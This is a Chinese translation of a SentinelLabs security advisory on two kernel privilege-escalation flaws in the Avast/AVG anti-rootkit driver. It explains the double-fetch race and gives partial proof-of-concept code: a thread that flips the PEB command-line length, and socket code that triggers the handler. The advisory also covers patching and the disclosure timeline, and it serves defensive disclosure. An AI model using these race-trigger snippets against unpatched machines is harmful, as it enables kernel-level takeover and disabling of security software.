目录导航
Avast 和 AVG 中的漏洞使数百万人处于危险之中.
执行摘要
- SentinelLabs 在 Avast 和 AVG(2016 年被 Avast 收购)中发现了两个高度严重的漏洞,这些漏洞多年来一直未被发现,影响了数千万用户。
- 这些漏洞允许攻击者提升权限,使他们能够禁用安全产品、覆盖系统组件、破坏操作系统或不受阻碍地执行恶意操作。
- SentinelLabs 的调查结果于 2021 年 12 月主动向 Avast 报告,漏洞被跟踪为 CVE-2022-26522 和 CVE-2022-26523。
- Avast 已悄悄发布安全更新以解决这些漏洞。
- 目前,SentinelLabs 尚未发现野外滥用的证据。
介绍
Avast 的“Anti Rootkit”驱动程序(也被 AVG 使用)被发现容易受到两种严重程度较高的攻击,这些攻击可能会通过在内核中运行来自非管理员用户的代码而导致权限提升。Avast 和 AVG 是广泛部署的产品,这些缺陷可能使全球许多用户容易受到网络攻击。
鉴于这些产品在 Windows 设备上作为特权服务运行,旨在保护用户免受伤害的软件中的此类错误既给攻击者带来了机会,也给用户带来了严重威胁。
诸如此类的安全产品以最高级别的权限运行,因此对经常利用此类漏洞进行复杂攻击的攻击者极具吸引力。SentinelLabs ( 1 , 2 , 3 )发现的此类漏洞和其他漏洞会给部署受影响软件的组织和用户带来风险。
正如我们最近报道的那样,威胁行为者将在有机会的情况下利用此类漏洞,受影响的用户采取适当的缓解措施至关重要。据 Avast 称,该漏洞功能是在 Avast 12.1 中引入的。鉴于此漏洞的长期存在,我们估计可能有数百万用户被暴露。
安全产品保证了设备的安全,应该防止此类攻击的发生,但如果安全产品本身引入了漏洞怎么办?谁在保护保护者?
CVE-2022-26522
易受攻击的例程驻留在内核驱动程序中的套接字连接处理程序中aswArPot.sys
。由于报告的两个漏洞非常相似,我们将主要关注 CVE-2022-26522 的细节。
CVE-2022-26522 是指存在于aswArPot+0xc4a3
.

从上图中可以看出,该函数首先将当前线程附加到目标进程,然后用于nt!PsGetProcessPeb
获取指向当前进程PEB的指针(红色箭头)。然后它(第一次)获取PPEB->ProcessParameters->CommandLine.Length
以分配一个新的缓冲区(黄色箭头)。PPEB->ProcessParameters->CommandLine.Buffer
然后它以(橙色箭头)的大小复制用户提供的缓冲区PPEB->ProcessParameters->CommandLine.Length
,这是第一次提取。
在这个机会窗口期间,攻击者可以与内核线程竞争并修改 Length 变量。
Looper thread:
PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast<NT_TIB*>(nullptr)->Self)));
PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;
pebPtr->ProcessParameters->CommandLine.Length = 2;
while (1) {
pebPtr->ProcessParameters->CommandLine.Length ^= 20000;
}
从上面的代码片段可以看出,代码获取了指向PEB结构的指针,然后翻转进程命令行结构中的Length字段。
该漏洞可以在驱动程序内部通过启动套接字连接来触发,如以下代码所示。
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("Failed. Error Code : %d", WSAGetLastError());
return 1;
}
printf("Initialised.\n");
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
printf("Could not create socket : %d", WSAGetLastError());
}
printf("Socket created.\n");
server.sin_addr.s_addr = inet_addr(IP_ADDRESS);
server.sin_family = AF_INET;
server.sin_port = htons(80);
if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
puts("connect error");
return 1;
}
puts("Connected");
message = (char *)"GET / HTTP/1.1\r\n\r\n";
if (send(s, message, strlen(message), 0) < 0) {
puts("Send failed");
return 1;
}
puts("Data Sent!\n");
所以整个流程是这样的:

触发漏洞后,用户会看到来自操作系统的以下警报。

CVE-2022-26523
第二个易受攻击的功能aswArPot+0xbb94
与第一个漏洞非常相似。此函数也从用户控制的指针中双重获取 Length 字段。

这个易受攻击的代码是驱动程序中多个处理程序的一部分,因此可以通过多种方式触发,例如通过图像加载回调。
这两个漏洞都在版本 22.1 中得到修复。
影响
由于这些漏洞的性质,它们可以从沙箱中触发,并且可能在除本地权限提升之外的上下文中被利用。例如,这些漏洞可能被用作第二阶段浏览器攻击的一部分或执行沙盒逃逸等。
正如我们最近注意到的其他产品中的类似缺陷(1、2、3),由于能够在内核模式下执行代码,此类漏洞有可能允许完全接管设备,即使没有权限也是如此。此类漏洞的明显滥用之一是它们可用于绕过安全产品。
减轻
大多数 Avast 和 AVG 用户将自动收到补丁(22.1 版);但是,建议使用air gapped或本地安装的用户尽快应用补丁。
结论
这些高度严重的漏洞影响着全球数百万用户。与SentinelLabs 披露的另一个隐藏了 12 年的漏洞一样,这可能对未能修补的用户和企业产生深远而重大的影响。
虽然到目前为止我们还没有看到任何迹象表明这些漏洞已被广泛利用,但有数千万用户受到影响,攻击者可能会寻找那些没有采取适当行动的人。我们发布这项研究的原因不仅是为了帮助我们的客户,而且是为了帮助社区了解风险并采取行动。
作为 SentinelLabs 推进行业安全承诺的一部分,我们积极投资于漏洞研究,包括各种平台和技术的高级威胁建模和漏洞测试。
我们要感谢 Avast 对我们的披露采取的方法以及快速修复漏洞。
披露时间表
- 2021 年 12 月 20 日——首次披露。
- 2022 年 1 月 4 日 – Avast 承认该报告。
- 2022 年 2 月 11 日 – Avast 通知我们漏洞已修复。
转载请注明出处及链接